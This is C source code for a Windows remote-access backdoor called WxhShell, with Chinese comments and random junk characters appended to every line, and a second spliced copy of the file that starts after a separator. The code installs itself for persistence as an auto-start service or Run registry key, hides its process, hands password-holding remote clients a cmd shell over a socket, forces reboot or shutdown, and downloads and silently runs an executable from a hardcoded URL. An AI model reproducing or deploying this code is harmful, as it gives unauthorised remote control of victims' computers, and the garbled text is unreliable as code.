    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); M,mvys$  
    if(Boot(SHUTDOWN)) FZE"7ec>m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y,t={HiclX  
    else { 2n"V}p>8i#  
    closesocket(wsh); mmRJ9OhS  
    ExitThread(0); hJ~Uf5Q  
    } @xYlS5{  
    break; ocS5SB]8  
    } 9kS^Abtk  
  // 获取shell ]R9HyCl&a6  
  case 's': { tQYM&6g  
    CmdShell(wsh); ls:w8 &`*  
    closesocket(wsh); e@* EzvO  
    ExitThread(0); I( 7NQ8H x  
    break; cI?8RF(;  
  } yx&51G$  
  // 退出 G`BU=Fi  
  case 'x': { Y+u_IJ  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Zu("#cA.H  
    CloseIt(wsh); 0Bi.6r  
    break; l &5QZI0I  
    } x%!s:LVX  
  // 离开 \k!{uRy'  
  case 'q': { `gf0l /d  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); dD|OSB7 I7  
    closesocket(wsh); =wOm}V8 N&  
    WSACleanup(); n'kG] Q  
    exit(1); Rww{:R  
    break; qUGC" <W  
        } }"PU%+J  
  } O5kz5b> Z  
  } K<Iv:5-2  
*ipFwQ  
  // 提示信息 ]<rkxgMW>  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); f"SD/]q-  
}  fc-iAj  
  } T)TfB(  
_ff`y  
  return; UK O[r;  
} mA+&Io  
%9N7Ln|%  
// shell模块句柄 *%fi/bimG  
int CmdShell(SOCKET sock) vZ&T}H~8  
{ kJzoFFWo$  
STARTUPINFO si; 4N zwE(  
ZeroMemory(&si,sizeof(si)); =JbRu|/  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; C=)A6 ;=se  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; -Rd/G x  
PROCESS_INFORMATION ProcessInfo; -vR5BMy=  
char cmdline[]="cmd"; >qjq=Ege  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); o(LFh[  
  return 0; wKY Za# u  
} JedmaY06=  
X=!^] 3zH  
// 自身启动模式 +*T7@1  
int StartFromService(void) SmdjyK1~8  
{ ,PuL{%PXu  
typedef struct qx8fRIK%  
{ luuX2Mx>o  
  DWORD ExitStatus; mdmvT~`  
  DWORD PebBaseAddress; 9N<<{rQ,F  
  DWORD AffinityMask; 1[qLA!+  
  DWORD BasePriority;  TYmP)  
  ULONG UniqueProcessId; (\a]"g,]v  
  ULONG InheritedFromUniqueProcessId; eg?<mKrZ  
}   PROCESS_BASIC_INFORMATION; WDc+6/<  
%?uc><&?e  
PROCNTQSIP NtQueryInformationProcess; L[H5NUG!  
-UdEeZz.  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; !\i\}feb  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; +!z{5:  
\h DdU+  
  HANDLE             hProcess; :xD=`ib  
  PROCESS_BASIC_INFORMATION pbi; ~\.w^*$#Y  
QM O!v;  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ^m"u3b4  
  if(NULL == hInst ) return 0; 3'qJ/*]9  
ph[#QHB  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); S\5bmvqP"  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); YW`,v6  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); LbG_z =A  
TUDr\' @/f  
  if (!NtQueryInformationProcess) return 0; Fpa ;^F  
}L3oR  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 2f:Eof(B  
  if(!hProcess) return 0; MHai%E  
]dk8lZ;bo  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; bQP{|  
M^iU;vo  
  CloseHandle(hProcess); \2}bi:e 6  
Zh*u(rO  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); `v}%33$hA  
if(hProcess==NULL) return 0; a{J,~2>  
BV(8y.H  
HMODULE hMod; gO,25::")  
char procName[255]; t{FlB!jv  
unsigned long cbNeeded; {]_r W/  
>teO m?@U  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); %]6~Eq%s  
z$GoaS(  
  CloseHandle(hProcess); K+8-9$w6  
i|}[A  
if(strstr(procName,"services")) return 1; // 以服务启动 13%t"-@bh  
9,_mS{+B  
  return 0; // 注册表启动 B`o]*"xkB  
} ;3@YZM'wt  
Ns0cgCrhX  
// 主模块 ]oV{t<0a  
int StartWxhshell(LPSTR lpCmdLine) bi&*9K0  
{ HJ[/|NZU$  
  SOCKET wsl; Cc<,z*T  
BOOL val=TRUE; qY$qaM^=  
  int port=0; J}@z_^|"mJ  
  struct sockaddr_in door; {^rs#, W  
!\#_Jw%y  
  if(wscfg.ws_autoins) Install(); U_$qi  
V8wKAj Ux  
port=atoi(lpCmdLine); Cb@3M"1:  
!!V#v9{  
if(port<=0) port=wscfg.ws_port; -0eq_+oQ  
UMp/ \&0  
  WSADATA data; ls`,EFF  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; }KKY6D|d>  
}%`~T>/  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   aJe^Tp(  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); L9ap(  
  door.sin_family = AF_INET; ,\d6VBP&  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); sv(f;ib  
  door.sin_port = htons(port); 8W+gl=C~  
tpEI(9>  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { TLf9>= OVh  
closesocket(wsl); M9f?q.Bv  
return 1; 9W>Y#V~|v!  
} %?hsoj&k  
J5[~LZKW  
  if(listen(wsl,2) == INVALID_SOCKET) { C"qU-&*v  
closesocket(wsl); \[>9UC%  
return 1; 8; R|  
} !.<T"8BUpv  
  Wxhshell(wsl); J3b4cxm  
  WSACleanup(); b7\ cxgRq  
u@P[Vb   
return 0; NHgjRP z"  
L~/qGDXC?  
} LaIJ1jf  
lE ;jCN  
// 以NT服务方式启动 HygY>s+3[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) o1OBwPj  
{ ,kp\(X[J  
DWORD   status = 0; qxJQPz  
  DWORD   specificError = 0xfffffff; eL.7#SIr}  
h2;z 4  
  serviceStatus.dwServiceType     = SERVICE_WIN32; nCvPB/-  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Hv<'dt$|  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; V' 2EPYB  
  serviceStatus.dwWin32ExitCode     = 0; XfzVcap  
  serviceStatus.dwServiceSpecificExitCode = 0; "%QD{z_L  
  serviceStatus.dwCheckPoint       = 0; >(tn"2  
  serviceStatus.dwWaitHint       = 0; OAZ#|U   
]Lqt( c  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); kF V7l  
  if (hServiceStatusHandle==0) return; 8?Y['  
SnTDLa  
status = GetLastError(); A?"h@-~2  
  if (status!=NO_ERROR) kao}(?x%  
{ tue/4Q#7  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; nxap\Lf  
    serviceStatus.dwCheckPoint       = 0; MY nH2w]  
    serviceStatus.dwWaitHint       = 0; D 0]a\,aZ  
    serviceStatus.dwWin32ExitCode     = status; z&3]%t `C  
    serviceStatus.dwServiceSpecificExitCode = specificError; rp :wQ H7  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); AzpV4(:an.  
    return; VzRx%j/i  
  } 7TX,T|>9  
fd8#Ng"1  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 8C.!V =@\  
  serviceStatus.dwCheckPoint       = 0; 4`2$_T$ F  
  serviceStatus.dwWaitHint       = 0; !m{2WW-  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); K,}w]b  
} , Ut Hc]  
lg:y|@Y''  
// 处理NT服务事件,比如:启动、停止 22KI]$D#f  
VOID WINAPI NTServiceHandler(DWORD fdwControl) _NdLcpBT?  
{ JK~ m(oQ  
switch(fdwControl) I8op>^N"  
{ Gwd{#7FM`  
case SERVICE_CONTROL_STOP: /k"hH\Pp  
  serviceStatus.dwWin32ExitCode = 0; r.FLGD U  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; \w )?SVp  
  serviceStatus.dwCheckPoint   = 0; 5y_"  
  serviceStatus.dwWaitHint     = 0; {%']w  
  { ~j,TVY  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); CYB=Uq,  
  } h[ 6hM^n  
  return; >e8JK*Blz  
case SERVICE_CONTROL_PAUSE: bv\ A,+  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Zy wK/D  
  break; IB7tAG8  
case SERVICE_CONTROL_CONTINUE: i@<~"~>]7  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; /?zW<QUI  
  break; j+748QAhh  
case SERVICE_CONTROL_INTERROGATE: bGh0<r7R  
  break; %7`d/dgR  
}; Wm6dQQ;Bj  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); )hL^+Nn bR  
} !J.rM5K  
d0C8*ifFO  
// 标准应用程序主函数 '=TTa  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 9Nl* 4  
{ U %:c],Fk  
S[@6Lp3q_  
// 获取操作系统版本 9|K*G~J  
OsIsNt=GetOsVer(); ':;LrTc'K  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Ww87  
q?VVYZXP  
  // 从命令行安装 ":&|[9/  
  if(strpbrk(lpCmdLine,"iI")) Install(); &9ki O  
6dT|;koWbm  
  // 下载执行文件 L^KdMMz;  
if(wscfg.ws_downexe) { $k(9 U\y-  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ( ji_o^  
  WinExec(wscfg.ws_filenam,SW_HIDE); !5;t#4=  
} I>m;G `  
PbUI!Xqe`  
if(!OsIsNt) { #DaP=k"XV  
// 如果时win9x,隐藏进程并且设置为注册表启动 \3 KfD'L  
HideProc(); 2v|qLf e1  
StartWxhshell(lpCmdLine); rZ866\0  
} Kpu<rKP`  
else j-P^Zv};u  
  if(StartFromService()) )b9I@)C  
  // 以服务方式启动  g@(30{  
  StartServiceCtrlDispatcher(DispatchTable); CB@B.)E  
else |,fh)vO  
  // 普通方式启动 By/bVZks  
  StartWxhshell(lpCmdLine); Pt3[|4L  
`Wwh`]#"~d  
return 0; 3GWrn ,f  
} u@"o[e':  
ty;o&w$  
2<.Vv\ =  
2?*1~ 5~I  
=========================================== ` t\z   
pFH?/D/q  
L9'-  
cd"wNH-  
2 TCRS#z  
5fxbA2\  
" $WD +Q@6  
?hSha)1:  
#include <stdio.h> WA$ p_% r=  
#include <string.h> & ^!v*=z  
#include <windows.h> y%g`FC   
#include <winsock2.h> &x/k^p=  
#include <winsvc.h> Y=WR6!{  
#include <urlmon.h> gx&73f<J  
#y`k$20"  
#pragma comment (lib, "Ws2_32.lib") e6es0D[>5  
#pragma comment (lib, "urlmon.lib") - coy@S=.'  
K#U{<pUP  
#define MAX_USER   100 // 最大客户端连接数 :dbV2'vIQ  
#define BUF_SOCK   200 // sock buffer B(E tXB9  
#define KEY_BUFF   255 // 输入 buffer v7$9QVze  
^AH-+#5  
#define REBOOT     0   // 重启 wO\!xW:  
#define SHUTDOWN   1   // 关机 W)  
*%f3rvt7@)  
#define DEF_PORT   5000 // 监听端口 'v`~(9'Rcj  
G32_FQ$ b  
#define REG_LEN     16   // 注册表键长度 n=SzF(S[M  
#define SVC_LEN     80   // NT服务名长度 :6sGX p  
'XME?H:q a  
// 从dll定义API z7$}#)Z7  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); g BH?l/  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); <e^6.!;W  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); bAdAp W  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); u p7 x)w:  
QZ9M{Y/  
// wxhshell配置信息 vD"_X"v  
struct WSCFG { nvwDx*[qN  
  int ws_port;         // 监听端口 J4&XPr9  
  char ws_passstr[REG_LEN]; // 口令 8Y]}Gb!  
  int ws_autoins;       // 安装标记, 1=yes 0=no BfEx'C  
  char ws_regname[REG_LEN]; // 注册表键名 k4* ! Q_A  
  char ws_svcname[REG_LEN]; // 服务名 v,@E}F~-f1  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 zh hGqz[K  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 j?d!}v  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 f#2#g%x  
int ws_downexe;       // 下载执行标记, 1=yes 0=no /TG| B Eb  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe"  2w;G4  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 +;5Wp$ M\  
5D >BV *"  
}; @<%oIE~]F  
3Y=,r!F.h  
// default Wxhshell configuration (#lm#?<)  
struct WSCFG wscfg={DEF_PORT, fLc!Sn.Y  
    "xuhuanlingzhe", V4qZc0<,H  
    1, !4!S{#<q  
    "Wxhshell", 6#/LyzZq|  
    "Wxhshell", 3 pHn_R  
            "WxhShell Service", SSo~.)J  
    "Wrsky Windows CmdShell Service", xBt4~q;#sE  
    "Please Input Your Password: ", xg4T` ])  
  1, }$&);7(w  
  "http://www.wrsky.com/wxhshell.exe", [cY?!Qd 0  
  "Wxhshell.exe" .Lp Nm'=R  
    }; e*6U |+kJ  
+KYxw^k}"7  
// 消息定义模块 Udg & eEF  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; =k_XKxd  
char *msg_ws_prompt="\n\r? for help\n\r#>"; `mWQWx$V!  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; o7hH9iY  
char *msg_ws_ext="\n\rExit."; >zN" z)  
char *msg_ws_end="\n\rQuit."; 6qY\7R2+  
char *msg_ws_boot="\n\rReboot..."; X~`.}  
char *msg_ws_poff="\n\rShutdown..."; ,OFq'}q  
char *msg_ws_down="\n\rSave to "; w@4t$bd7  
oT$(<$&<  
char *msg_ws_err="\n\rErr!"; jw2_!D  
char *msg_ws_ok="\n\rOK!"; v_[)FN"]Y.  
F?!};~$=Z  
char ExeFile[MAX_PATH]; fB@K'JQG  
int nUser = 0; nA|gQibA  
HANDLE handles[MAX_USER]; kwDjK"  
int OsIsNt; 1 NB2y[  
n+:m _2T  
SERVICE_STATUS       serviceStatus; $ $W{HsX  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ZA) SJWwD  
,7WK<0  
// 函数声明 5? S{W  
int Install(void); :4Id7Ce  
int Uninstall(void); _wIBm2UO  
int DownloadFile(char *sURL, SOCKET wsh); &*LA_]1@  
int Boot(int flag); d8VWi*  
void HideProc(void); YY1{v?[  
int GetOsVer(void); [w+yQ7P  
int Wxhshell(SOCKET wsl); 9;r48)5  
void TalkWithClient(void *cs); u)N2  
int CmdShell(SOCKET sock); ;Hz`0V  
int StartFromService(void); |SwZi'p  
int StartWxhshell(LPSTR lpCmdLine); ..v@Q%  
Xq} n^W  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Qq @_Z=mt  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); tRpL0 =y  
KY;uO 8Te  
// 数据结构和表定义 ,'/HcF?yf  
SERVICE_TABLE_ENTRY DispatchTable[] = IF,i^,  
{ %5( EkP  
{wscfg.ws_svcname, NTServiceMain}, .Bm^3A  
{NULL, NULL} #VP-T; Ahe  
}; 8ItCfbqa6  
?[a7l:3-[  
// 自我安装 |>jqH @\P  
int Install(void) RPofa+  
{ 4O5n6~24  
  char svExeFile[MAX_PATH]; \#IJ=+z   
  HKEY key; d&$.jk8 2  
  strcpy(svExeFile,ExeFile); Q6e'0EIKC  
(25^r  
// 如果是win9x系统,修改注册表设为自启动 ,E n(gm  
if(!OsIsNt) { ZQgxrZx3  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { tk] _QX %  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Lqz}&A   
  RegCloseKey(key); qcpG}o+&D  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }R?v"6aBS  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); lN*1zM<6;  
  RegCloseKey(key); \ (3Qqbw  
  return 0; P22y5z~  
    } DKaG?Y,*p  
  } )U"D4j*p  
} {d *qlztO  
else { }+QhW]nO{F  
6_ 33*/>=c  
// 如果是NT以上系统,安装为系统服务 BIHHRCe:@n  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); \]~kyy  
if (schSCManager!=0) ePPp)=  
{ 2\$WP-)%  
  SC_HANDLE schService = CreateService l>[QrRXiSN  
  ( ouu-wQ|(mM  
  schSCManager, :_I wc=  
  wscfg.ws_svcname, a{%52B"  
  wscfg.ws_svcdisp, &)fhlp5  
  SERVICE_ALL_ACCESS, `gBXeG2fn  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , a3(7{,Ew  
  SERVICE_AUTO_START, "`V"2zZlj  
  SERVICE_ERROR_NORMAL, ^bY^x+d  
  svExeFile, K"t:B  
  NULL, eKU@>5  
  NULL, ,/[dmoe  
  NULL, /o}0oo5B  
  NULL, G*{u(x(  
  NULL b'Piymx  
  ); -?2&5YB  
  if (schService!=0) X,C/x)  
  { eaZ)1od  
  CloseServiceHandle(schService); H*:r>Lm=  
  CloseServiceHandle(schSCManager); I1}{~@  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); EFT02#F_f  
  strcat(svExeFile,wscfg.ws_svcname); ,*O{jc`(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { WMdz+^\(  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); <or>bo^  
  RegCloseKey(key); >8Yrmq  
  return 0; jP6oJcZ  
    } VK@i#/jm  
  } 3gfV0C\  
  CloseServiceHandle(schSCManager); G-Ml+@e>  
} X=!n,=xI  
} .k!k-QO5La  
 c+G:@%  
return 1; l5N\> q  
} y1jGf83  
A$9_aqbj  
// 自我卸载 EL)/5-=S  
int Uninstall(void) l52n/w#qFB  
{ <EMLiiNY  
  HKEY key; ?'8MI|*l%  
aaa#/OWQZ  
if(!OsIsNt) { /9vMGef@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 59%f|.Z)  
  RegDeleteValue(key,wscfg.ws_regname); s+\qie  
  RegCloseKey(key); XQg%*Rw+t  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { cO"Xg<#y  
  RegDeleteValue(key,wscfg.ws_regname); >-./kI "  
  RegCloseKey(key); =[tls^  
  return 0; QWQ6j#`  
  } X0r#,u  
} Stp*JU  
} { P\8g8  
else { >i#_)th"U!  
'%|20 j  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); \"sSS.'  
if (schSCManager!=0) *"9)a6T t+  
{ jP7+s.j>  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); %imBGh  
  if (schService!=0) S|5lx7  
  { HDae_.  
  if(DeleteService(schService)!=0) { .WPR}v,.Z  
  CloseServiceHandle(schService); ]&tr\-3  
  CloseServiceHandle(schSCManager); 7.1E mJ  
  return 0; V2sB[Mw  
  } k`J..f9  
  CloseServiceHandle(schService); \kJt@ [w%  
  } 3M:B?2  
  CloseServiceHandle(schSCManager); 3S2p:\]  
} VA&OI;=ri  
} fylA 0{  
c%,6L<[  
return 1; 3x;y}:wQa  
} C9; X6  
$\J9F=<a  
// 从指定url下载文件 jX8C2}j  
int DownloadFile(char *sURL, SOCKET wsh) ,knI26Jh  
{ a.*j8T  
  HRESULT hr; $}"Wta  
char seps[]= "/"; y2ws*IZ"  
char *token; )k%drdY{J'  
char *file; z%gtV'  
char myURL[MAX_PATH]; j &[WE7wf  
char myFILE[MAX_PATH]; vgbjvyfN  
UFY~D"% /  
strcpy(myURL,sURL); ZK_@.O+]  
  token=strtok(myURL,seps); ~esEql=Q3'  
  while(token!=NULL) +AC-f2  
  { 'jlXLb  
    file=token; zxmI/]3+/  
  token=strtok(NULL,seps); 3[O =2  
  } nm|m1Z+U  
3Os3=Ix  
GetCurrentDirectory(MAX_PATH,myFILE); O.8m%ZjD  
strcat(myFILE, "\\"); )Ai%wCzw*  
strcat(myFILE, file); F p=Q$J|  
  send(wsh,myFILE,strlen(myFILE),0); YKxA2`3v%  
send(wsh,"...",3,0); tVh4v#@+  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); dcTM02kEh  
  if(hr==S_OK) Am`A[rV0  
return 0; >]08".ajS  
else r^tXr[}  
return 1; = (h;L$  
VKJ~ZIO@A  
} F^bQ-  
xgw)`>p,W  
// 系统电源模块 Bst>9V&R  
int Boot(int flag) 7a_n\]t465  
{ d"`>&8*  
  HANDLE hToken; v^I%Wm  
  TOKEN_PRIVILEGES tkp; _*B~ESC0  
ysn[-l#  
  if(OsIsNt) { yNf=Kl  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);  p:>?  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); +=04X F:  
    tkp.PrivilegeCount = 1; 6@*;Wk~  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; `Ta(P30  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);  KGwL09)  
if(flag==REBOOT) { \ #c+vfq  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) yacGJz^f=  
  return 0; MxA'T(Ay  
} W ]MJ!4  
else { qvT+d l3#[  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) }Fe{s;  
  return 0; _<}5[(qu  
} &>B>+}'  
  } )$N{(Cke2T  
  else { gJ~*rWBK:  
if(flag==REBOOT) { U$J_:~  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) { RX|  
  return 0; jY6=+9Jz5  
} rd~W.b_b  
else { dnc!=Z89  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) )7mJ+d[  
  return 0; _q}%!#4  
} T.N7`  
} NJ!#0[@C  
!fjU?_[S  
return 1; MQMy Z:  
} >gLy z2  
n|2-bRK-  
// win9x进程隐藏模块 K T72D  
void HideProc(void) 2l4i-;  
{ 6Tmb@<I_  
^`5Yxpz  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Z`KXXlJ^i  
  if ( hKernel != NULL ) m:<3d]L  
  { d"a7{~l  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 7%}}m&A7h  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); uy\+#:44d  
    FreeLibrary(hKernel); {NqGWkGt*b  
  } w:@M|O4`  
<:t\P.  
return; +ANIm^@  
} A'R sy6  
#e|kA&+8M  
// 获取操作系统版本 A0sW 9P6F  
int GetOsVer(void) B y8Tw;aL  
{ FLOJ  
  OSVERSIONINFO winfo; Z6ex<[`I  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ?kefRev<#h  
  GetVersionEx(&winfo); R6.#gb8^oS  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) +34jot.!  
  return 1; )BrqE uX@"  
  else Gnq~1p5^  
  return 0; 2b` M(QL  
}   `.-C6!  
5-po>1g'  
// 客户端句柄模块 y_r6T XnGL  
int Wxhshell(SOCKET wsl) X*) :N]  
{ }#^F'%zf  
  SOCKET wsh; a-5$GvG  
  struct sockaddr_in client; Db:WAjU  
  DWORD myID; dPX>A4wp  
IvSrJe[;  
  while(nUser<MAX_USER) WF0>R^SpZ  
{ W5g!`f  
  int nSize=sizeof(client); +:Zi(SuS]  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); X;RI7{fW%X  
  if(wsh==INVALID_SOCKET) return 1; m <ruFxY  
:HQ/vVw'"9  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); l0 _O<  
if(handles[nUser]==0) ]gk1h=Y~h  
  closesocket(wsh); =Bx~'RYl1d  
else !g:UM R  
  nUser++; 7!)%%K.z6  
  } :M`BVZ1t  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); "VCr^'  
Ry~LhU:  
  return 0; 7QFEQ}  
} ,FO|'l  
"G(/MT^C  
// 关闭 socket =LzW#s=O  
void CloseIt(SOCKET wsh) 06;{2&ju<  
{ 31Du@h8YX  
closesocket(wsh); ajr8tp'  
nUser--; I{bi3y0  
ExitThread(0); \Y p oJ!-  
} N`MQHQ1  
2G;d2LR:  
// 客户端请求句柄 J n/=v\K@  
void TalkWithClient(void *cs) nVD YAg'  
{ WRM}gWv*  
A/aQpEb%  
  SOCKET wsh=(SOCKET)cs; gQwmYe  
  char pwd[SVC_LEN]; X2Mj|_#u  
  char cmd[KEY_BUFF]; LOzKpvGl  
char chr[1]; #YdU,y=B  
int i,j; .m51/X&*n  
(#lS?+w)  
  while (nUser < MAX_USER) { +(0eOO'\M  
&rKhB-18)  
if(wscfg.ws_passstr) { _>I5Ud8(-  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]Hq%Q~cE  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ".IhV<R  
  //ZeroMemory(pwd,KEY_BUFF); h08T Q=n  
      i=0; IuD<lMeJ J  
  while(i<SVC_LEN) { 3.Kdz}  
}X-ggO,  
  // 设置超时 qMOD TM~+  
  fd_set FdRead; `!N?#N:b)  
  struct timeval TimeOut; zZ-*/THB@R  
  FD_ZERO(&FdRead); n9DFa3  
  FD_SET(wsh,&FdRead); Tr)[q>  
  TimeOut.tv_sec=8; RqR  X  
  TimeOut.tv_usec=0; {wySH[V  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); f 5Oh#  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ,fRb6s-  
gw:BKR'o  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); u)-l+U.  
  pwd=chr[0]; db|$7]!w  
  if(chr[0]==0xd || chr[0]==0xa) { IZLX[y  
  pwd=0; O8%/Id  
  break; KW\`&ki  
  } \)*qW[C$a  
  i++; H#K|SSqY?  
    } ?*=Jq  
tTal<4  
  // 如果是非法用户,关闭 socket uDR(^T{g#  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 10(N|2'q  
} u QCS%|8C  
]LjW,b"  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); A:(uK>5{Kk  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *v&RGY[>  
X +R_TC  
while(1) { =UN:IzT  
f{0PLFj  
  ZeroMemory(cmd,KEY_BUFF); [PT}!X7h  
gqd#rjtfz  
      // 自动支持客户端 telnet标准   vSh)r 9  
  j=0; ::6@mFLR  
  while(j<KEY_BUFF) { NG ~sE&,7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); XOMWqQr|  
  cmd[j]=chr[0]; lx SGvvP4  
  if(chr[0]==0xa || chr[0]==0xd) { cqDnZ`|6  
  cmd[j]=0; G(i/ @>l  
  break; wB@A?&UY  
  } ,O(uuq  
  j++; &I8ZVtg  
    } L`6`NYR  
90a= 39kI  
  // 下载文件 %"D-1&%zY  
  if(strstr(cmd,"http://")) { K9c:K/H  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); GmFNL/x8-v  
  if(DownloadFile(cmd,wsh)) r.[kD"l  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); \oyr[so(i  
  else Zr3KzY9  
